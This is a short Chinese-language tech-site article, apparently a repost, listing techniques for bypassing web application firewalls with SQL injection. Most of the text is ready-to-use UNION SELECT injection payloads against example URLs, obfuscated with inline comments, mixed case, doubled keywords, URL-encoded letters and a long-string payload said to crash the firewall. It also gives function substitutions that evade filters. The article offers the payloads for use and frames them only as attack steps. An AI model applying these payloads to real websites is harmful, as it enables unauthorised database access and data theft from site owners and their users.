WAF绕过方法从简单到高级

安全 应用安全
Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

什么是WAF?

Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

基本/简单绕过方法:

1、注释符

http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….

2、使用大小写

http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….

3、结合前面两种方法

http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

4、关键字替换

http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

5、内部注释

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

高级绕过方法:

1、缓冲区溢出/使防火墙崩溃

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

http://www.2cto.com /index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

你可以使用如下方法测试WAF

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

2、对字母进行编码

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

3、使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD

@@version | version()

concat() | concat_ws()

group_concat() | concat_ws()

4、利用WAF本身的功能绕过

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

‍‍‍‍‍‍‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

责任编辑:蓝雨泪 来源: 红黑联盟
相关推荐

2019-02-19 08:45:41

2012-12-24 13:50:54

2011-09-06 16:56:43

2020-11-18 09:30:29

图片懒加载前端浏览器

2020-06-11 08:08:38

LFU代码双向链

2013-06-03 10:02:53

WAF绕过

2024-09-23 19:23:00

2020-07-31 11:02:09

网络攻击WAF黑客

2013-01-11 16:23:29

2013-12-18 09:39:37

XSSWAF绕过

2015-06-16 13:37:03

2023-05-07 08:00:32

2017-03-03 09:10:09

2009-02-27 08:45:27

Unix入门

2012-02-09 09:00:54

汇编语言

2009-03-25 13:50:05

2012-11-23 16:30:16

2013-04-19 13:20:14

2017-06-05 15:39:15

思科创想

2013-03-27 14:15:25

点赞
收藏

51CTO技术栈公众号